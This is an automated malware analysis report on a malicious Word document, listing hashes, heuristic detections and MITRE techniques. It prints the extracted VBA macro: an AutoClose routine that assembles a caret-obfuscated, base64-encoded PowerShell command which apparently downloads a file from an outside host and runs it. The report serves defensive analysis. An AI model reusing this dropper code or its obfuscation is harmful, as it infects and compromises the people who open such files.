Office (OLE) malware analysis — malicious · d89dba58798f35a7

MALICIOUS

Office (OLE)

78.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-05-31

MD5: e36eff39b2782c45aee6631ce8cc74e3 SHA-1: 6d1a281d2488fac390ec9be5f6f85fbede826df6 SHA-256: d89dba58798f35a7e230a5e93f03f287bec3147d6d59cdc16f0879da9e056422

242 Risk Score

Malware Insights

MITRE ATT&CK

T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is a malicious Word document containing a VBA macro with an AutoClose function. This macro attempts to execute a heavily obfuscated PowerShell command, likely to download and execute a second-stage payload. The presence of the Shell() call and the AutoClose execution token strongly indicate malicious intent.

Heuristics 7

ClamAV: Doc.Malware.00536d-6732586-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.00536d-6732586-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA
Auto_Close macro high OLE_VBA_AUTOCLOSE

Auto_Close macro
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11577 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	11577 bytes
SHA-256: `4de64cfbb49aa334aa635ce3dc47b1c5425ffa71aa6ddfcf22e4339c8a252fff`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Const zEJUPybaheJoKiJzegUhyNyvvOLETOpU = 0 Sub AutoClose() On Error Resume Next Dim qOSajaekakitYliuGavABafe qOSajaekakitYliuGavABafe = IsNull(Choose(4, "geqeDEVYQyxoKLacogu", "qOSajaekakitYliuGavABafe", "geqeDEVYQyxoKLacoguqOSajaekakitYliuGavABafe")) IsError CVErr(9128) Call IsNull(9128 - 4 * 13) If Len(geqeDEVYQyxoKLacogu) > Len(CStr(Hex(9128))) Then Call IsError(CVErr(CInt(CStr(geqeDEVYQyxoKLacogu)))) End If ROMawYmENUHpUFYxYTOFuT = "" + Format(ChrW((12.5 * 8) - 1)) + "md." + Format(ChrW(101)) + "x" + Format(ChrW(101)) + " /" + Format(ChrW((12.5 * 8) - 1)) + " P^O^W^" + Format(ChrW(101)) + "^r^s^H^" + Format(ChrW(101)) + "^l^L^.^E^X^" + Format(ChrW(101)) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + Format(ChrW((12.5 * 8) - 1)) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^A^6^A^C^8" Dim aewLyRyKYreJnOfUDygeNap aewLyRyKYreJnOfUDygeNap = IsNull(Choose(8, "xIhyWefeKeryd", "aewLyRyKYreJnOfUDygeNap", "xIhyWefeKerydaewLyRyKYreJnOfUDygeNap")) IsError CVErr(243) Call IsNull(243 - 8 * 12) If Len(xIhyWefeKeryd) > Len(CStr(Hex(243))) Then Call IsError(CVErr(CInt(CStr(xIhyWefeKeryd)))) End If Dim KILUxUHOKeNCodAcUlaNEjO KILUxUHOKeNCodAcUlaNEjO = IsNull(Choose(2, "reKUneZunomEDaiEPEfY", "KILUxUHOKeNCodAcUlaNEjO", "reKUneZunomEDaiEPEfYKILUxUHOKeNCodAcUlaNEjO")) IsError CVErr(7868) Call IsNull(7868 - 2 * 11) If Len(reKUneZunomEDaiEPEfY) > Len(CStr(Hex(7868))) Then Call IsError(CVErr(CInt(CStr(reKUneZunomEDaiEPEfY)))) End If Dim CuvANomETYpIWEZGixpICosekeXUHOPo CuvANomETYpIWEZGixpICosekeXUHOPo = IsNull(Choose(9, "peviVUDuFeTuhyeSU", "CuvANomETYpIWEZGixpICosekeXUHOPo", "peviVUDuFeTuhyeSUCuvANomETYpIWEZGixpICosekeXUHOPo")) IsError CVErr(3114) Call IsNull(3114 - 9 * 10) If Len(peviVUDuFeTuhyeSU) > Len(CStr(Hex(3114))) Then Call IsError(CVErr(CInt(CStr(peviVUDuFeTuhyeSU)))) End If KEsiDXAAqYxmuTAdIHyTaV = "^A^L^w^B^x^A^G^E^A^d^A^B^p^A^H^Y^A^Z^Q^B^y^A^H^I^A^a^A^A^u^A^G^M^A^b^w^B^t^A^C^8^A^U^g^B^V^A^E^k^A^L^w^B^s^A^G^U^A^d^g^B^v^A^G^4^A^Z^A^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^G^w^A^Z^Q^B^h^A^H^U^A^a^w^A^5^A^C^4^A^" + Format(ChrW(101)) + "^A^B^h^A^H^A^A^I^g^A^s^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^I^A^A^r^A^C^A^A^J^w^B^" + Format(ChrW((12.5 * 8) - 1)) + "^A^G" Dim nOKorirElALbumofOMyViNuCaleKaVIP nOKorirElALbumofOMyViNuCaleKaVIP = IsNull(Choose(1, "sORyhOGicuwUzyNaBECA", "nOKorirElALbumofOMyViNuCaleKaVIP", "sORyhOGicuwUzyNaBECAnOKorirElALbumofOMyViNuCaleKaVIP")) IsError CVErr(8150) Call IsNull(8150 - 1 * 13) If Len(sORyhOGicuwUzyNaBECA) > Len(CStr(Hex(8150))) Then Call IsError(CVErr(CInt(CStr(sORyhOGicuwUzyNaBECA)))) End If Dim JYSYMAFatTAzAcOVaMYMVxExyQeaAVuietuDIB JYSYMAFatTAzAcOVaMYMVxExyQeaAVuietuDIB = IsNull(Choose(2, "wosUsYPydYtpyMAxeh", "JYSYMAFatTAzAcOVaMYMVxExyQeaAVuietuDIB", "wosUsYPydYtpyMAxehJYSYMAFatTAzAcOVaMYMVxExyQeaAVuietuDIB")) IsError CVErr(5457) Call IsNull(5457 - 2 * 13) If Len(wosUsYPydYtpyMAxeh) > Len(CStr(Hex(5457))) Then Call IsError(CVErr(CInt(CStr(wosUsYPydYtpyMAxeh)))) End If sOMASAZubEWYveTIkONuMAiOfaruRIpovimoz = "^I^A^M^w^A^x^A^D^M^A^Y^g^B^k^A^D^Y^A^Y^Q^A^u^A^G^U^A^" + Format(ChrW(101)) + "^A^B^l^A^C^" + Format(ChrW((12.5 * 8) - 1)) + "^A^K^Q^A^7^A^C^A^A^U^w^B^0^A^G^E^A^" + Format(ChrW((12.5 * 8) - 1)) + "^g^B^0^A^C^0^A^U^A^B^y^A^G^8^A^Y^w^B^l^A^H^M^A^" + Format(ChrW((12.5 * 8) - 1)) + "^w^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^" + Format(ChrW((12.5 * 8) - 1)) + "^A^X^A^B^i^A^D^M^A^M^Q^A^z^A^G^I^A^Z^A^A^2^A^G^E^A^L^g^B^l^A^H^g^A^Z^Q^ ... (truncated)

SHA-256: 4de64cfbb49aa334aa635ce3dc47b1c5425ffa71aa6ddfcf22e4339c8a252fff

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const zEJUPybaheJoKiJzegUhyNyvvOLETOpU = 0
Sub AutoClose()
On Error Resume Next
Dim qOSajaekakitYliuGavABafe

qOSajaekakitYliuGavABafe = IsNull(Choose(4, "geqeDEVYQyxoKLacogu", "qOSajaekakitYliuGavABafe", "geqeDEVYQyxoKLacoguqOSajaekakitYliuGavABafe"))
IsError CVErr(9128)
Call IsNull(9128 - 4 * 13)

If Len(geqeDEVYQyxoKLacogu) > Len(CStr(Hex(9128))) Then
   Call IsError(CVErr(CInt(CStr(geqeDEVYQyxoKLacogu))))
End If
ROMawYmENUHpUFYxYTOFuT = "" + Format(ChrW((12.5 * 8) - 1)) + "md." + Format(ChrW(101)) + "x" + Format(ChrW(101)) + " /" + Format(ChrW((12.5 * 8) - 1)) + " P^O^W^" + Format(ChrW(101)) + "^r^s^H^" + Format(ChrW(101)) + "^l^L^.^E^X^" + Format(ChrW(101)) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + Format(ChrW((12.5 * 8) - 1)) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^A^6^A^C^8"
Dim aewLyRyKYreJnOfUDygeNap

aewLyRyKYreJnOfUDygeNap = IsNull(Choose(8, "xIhyWefeKeryd", "aewLyRyKYreJnOfUDygeNap", "xIhyWefeKerydaewLyRyKYreJnOfUDygeNap"))
IsError CVErr(243)
Call IsNull(243 - 8 * 12)

If Len(xIhyWefeKeryd) > Len(CStr(Hex(243))) Then
   Call IsError(CVErr(CInt(CStr(xIhyWefeKeryd))))
End If
Dim KILUxUHOKeNCodAcUlaNEjO

KILUxUHOKeNCodAcUlaNEjO = IsNull(Choose(2, "reKUneZunomEDaiEPEfY", "KILUxUHOKeNCodAcUlaNEjO", "reKUneZunomEDaiEPEfYKILUxUHOKeNCodAcUlaNEjO"))
IsError CVErr(7868)
Call IsNull(7868 - 2 * 11)

If Len(reKUneZunomEDaiEPEfY) > Len(CStr(Hex(7868))) Then
   Call IsError(CVErr(CInt(CStr(reKUneZunomEDaiEPEfY))))
End If

Dim CuvANomETYpIWEZGixpICosekeXUHOPo

CuvANomETYpIWEZGixpICosekeXUHOPo = IsNull(Choose(9, "peviVUDuFeTuhyeSU", "CuvANomETYpIWEZGixpICosekeXUHOPo", "peviVUDuFeTuhyeSUCuvANomETYpIWEZGixpICosekeXUHOPo"))
IsError CVErr(3114)
Call IsNull(3114 - 9 * 10)

If Len(peviVUDuFeTuhyeSU) > Len(CStr(Hex(3114))) Then
   Call IsError(CVErr(CInt(CStr(peviVUDuFeTuhyeSU))))
End If
KEsiDXAAqYxmuTAdIHyTaV = "^A^L^w^B^x^A^G^E^A^d^A^B^p^A^H^Y^A^Z^Q^B^y^A^H^I^A^a^A^A^u^A^G^M^A^b^w^B^t^A^C^8^A^U^g^B^V^A^E^k^A^L^w^B^s^A^G^U^A^d^g^B^v^A^G^4^A^Z^A^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^G^w^A^Z^Q^B^h^A^H^U^A^a^w^A^5^A^C^4^A^" + Format(ChrW(101)) + "^A^B^h^A^H^A^A^I^g^A^s^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^I^A^A^r^A^C^A^A^J^w^B^" + Format(ChrW((12.5 * 8) - 1)) + "^A^G"
Dim nOKorirElALbumofOMyViNuCaleKaVIP

nOKorirElALbumofOMyViNuCaleKaVIP = IsNull(Choose(1, "sORyhOGicuwUzyNaBECA", "nOKorirElALbumofOMyViNuCaleKaVIP", "sORyhOGicuwUzyNaBECAnOKorirElALbumofOMyViNuCaleKaVIP"))
IsError CVErr(8150)
Call IsNull(8150 - 1 * 13)

If Len(sORyhOGicuwUzyNaBECA) > Len(CStr(Hex(8150))) Then
   Call IsError(CVErr(CInt(CStr(sORyhOGicuwUzyNaBECA))))
End If
Dim JYSYMAFatTAzAcOVaMYMVxExyQeaAVuietuDIB

JYSYMAFatTAzAcOVaMYMVxExyQeaAVuietuDIB = IsNull(Choose(2, "wosUsYPydYtpyMAxeh", "JYSYMAFatTAzAcOVaMYMVxExyQeaAVuietuDIB", "wosUsYPydYtpyMAxehJYSYMAFatTAzAcOVaMYMVxExyQeaAVuietuDIB"))
IsError CVErr(5457)
Call IsNull(5457 - 2 * 13)

If Len(wosUsYPydYtpyMAxeh) > Len(CStr(Hex(5457))) Then
   Call IsError(CVErr(CInt(CStr(wosUsYPydYtpyMAxeh))))
End If


sOMASAZubEWYveTIkONuMAiOfaruRIpovimoz = "^I^A^M^w^A^x^A^D^M^A^Y^g^B^k^A^D^Y^A^Y^Q^A^u^A^G^U^A^" + Format(ChrW(101)) + "^A^B^l^A^C^" + Format(ChrW((12.5 * 8) - 1)) + "^A^K^Q^A^7^A^C^A^A^U^w^B^0^A^G^E^A^" + Format(ChrW((12.5 * 8) - 1)) + "^g^B^0^A^C^0^A^U^A^B^y^A^G^8^A^Y^w^B^l^A^H^M^A^" + Format(ChrW((12.5 * 8) - 1)) + "^w^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^" + Format(ChrW((12.5 * 8) - 1)) + "^A^X^A^B^i^A^D^M^A^M^Q^A^z^A^G^I^A^Z^A^A^2^A^G^E^A^L^g^B^l^A^H^g^A^Z^Q^
... (truncated)

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